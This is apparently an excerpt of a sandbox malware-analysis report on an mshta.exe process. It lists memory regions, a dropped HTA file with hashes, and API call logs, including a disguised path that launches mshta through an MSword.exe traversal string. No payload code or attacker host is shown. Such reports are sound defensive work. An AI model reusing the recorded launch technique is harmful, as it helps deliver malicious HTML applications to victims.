  • Region Actions
iphlpapi.dll 0x75100000 0x7511bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dnsapi.dll 0x75120000 0x75163fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msls31.dll 0x75170000 0x75199fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winnsi.dll 0x75300000 0x75306fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
urlmon.dll 0x75460000 0x75595fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x75650000 0x76299fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x762a0000 0x762e4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wininet.dll 0x762f0000 0x763e4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
normaliz.dll 0x76840000 0x76842fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
crypt32.dll 0x769c0000 0x76adcfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msasn1.dll 0x76e90000 0x76e9bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
iertutil.dll 0x76f30000 0x7712afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x77870000 0x77874fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007ef9e000 0x7ef9e000 0x7efa0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efa1000 0x7efa1000 0x7efa3fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efa4000 0x7efa4000 0x7efa6fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efa7000 0x7efa7000 0x7efa9fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
For performance reasons, the remaining 44 entries are omitted.
The remaining entries can be found in flog.txt.
Modified Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\kft6utqw\appdata\local\microsoft\windows\temporary internet files\content.ie5\pmmr5k9k\index[1].hta 3.36 KB (3444 bytes) MD5: bf7cd7cbe3aa1d0e65fd3731c9afb5c1
SHA1: 0c8d82f7e56e124445ee1167383b82b58b27b0d2
SHA256: 2b4f25a9a6df541fcea90576a08000362714744936c5fe1892ba843ff8171c49 		False
Threads
Thread 0x9c4
(Host: 396, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Time type = System Time, time = 2017-10-16 14:26:51 (UTC) True 1
Fn
System Get Time type = Ticks, time = 66144 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\mshta.exe, base_address = 0xdf0000 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x76534f2b True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x76531252 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x76534208 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x7653359f True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = EncodePointer, address_out = 0x778e0fcb True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = EncodePointer, address_out = 0x778e0fcb True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = EncodePointer, address_out = 0x778e0fcb True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = EncodePointer, address_out = 0x778e0fcb True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = EncodePointer, address_out = 0x778e0fcb True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = EncodePointer, address_out = 0x778e0fcb True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = EncodePointer, address_out = 0x778e0fcb True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x772d004f True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = EncodePointer, address_out = 0x778e0fcb True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernelbase.dll, base_address = 0x772c0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = EncodePointer, address_out = 0x778e0fcb True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernelbase.dll, function = DecodePointer, address_out = 0x778d9d35 True 1
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Open filename = STD_ERROR_HANDLE True 1
Fn
Environment Get Environment String True 1
Fn
Data
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe, size = 260 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = HeapSetInformation, address_out = 0x76535651 True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32 True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32, value_name = 0, data = C:\Windows\SysWOW64\mshtml.dll, type = REG_SZ True 1
Fn
Module Load module_name = C:\Windows\SysWOW64\mshtml.dll, base_address = 0x6f6a0000 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = HeapSetInformation, address_out = 0x76535651 True 1
Fn
System Get Info type = Operating System True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe, size = 260 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454 False 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragDelay, default_value = 20, data_out = 20 True 1
Fn
System Get Info type = Operating System False 1
Fn
Keyboard Get Info type = KB_LOCALE_ID True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS False 1
Fn
Module Get Filename module_name = C:\Windows\SysWOW64\mshtml.dll, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\SysWOW64\mshtml.dll, size = 260 True 1
Fn
File Open Mapping filename = #MSHTML#PERF#000009C0, desired_access = FILE_MAP_WRITE False 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Handle module_name = c:\windows\syswow64\advapi32.dll, base_address = 0x763f0000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\advapi32.dll, function = EventWrite, address_out = 0x77900c59 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\advapi32.dll, function = EventRegister, address_out = 0x778df6ba True 1
Fn
Module Get Address module_name = c:\windows\syswow64\advapi32.dll, function = EventUnregister, address_out = 0x778f9241 True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\mshta.exe, base_address = 0xdf0000 True 1
Fn
Module Get Filename module_name = c:\windows\syswow64\mshta.exe, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe, size = 260 True 1
Fn
Mutex Create mutex_name = Local\!PrivacIE!SharedMemory!Mutex True 1
Fn
Module Create Mapping filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 16 True 1
Fn
Module Map process_name = c:\windows\system32\mshta.exe, desired_access = FILE_MAP_WRITE True 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = RegisterApplicationRestart, address_out = 0x7655b53c True 1
Fn
Module Get Address module_name = c:\windows\syswow64\mshtml.dll, function = RunHTMLApplication, address_out = 0x6f6fe710 True 1
Fn
Window Create class_name = HTML Application Host Window Class, wndproc_parameter = 1874695808 True 1
Fn
Window Create class_name = HTML Application Host Window Class, wndproc_parameter = 1874695808 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352 True 1
Fn
COM Create interface = 00000000-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Window Create window_name = 0, wndproc_parameter = 0 True 1
Fn
System Get Info type = Windows Directory, result_out = C:\Windows True 1
Fn
Module Load module_name = comctl32.dll, base_address = 0x74820000 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollInset, default_value = 11, data_out = 11 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollDelay, default_value = 50, data_out = 50 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragDelay, default_value = 200, data_out = 200 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollInterval, default_value = 50, data_out = 50 True 1
Fn
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe, size = 260 True 2
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, value_name = NoFileMenu, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM False 1
Fn
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = InitializeSRWLock, address_out = 0x778d8456 True 1
Fn
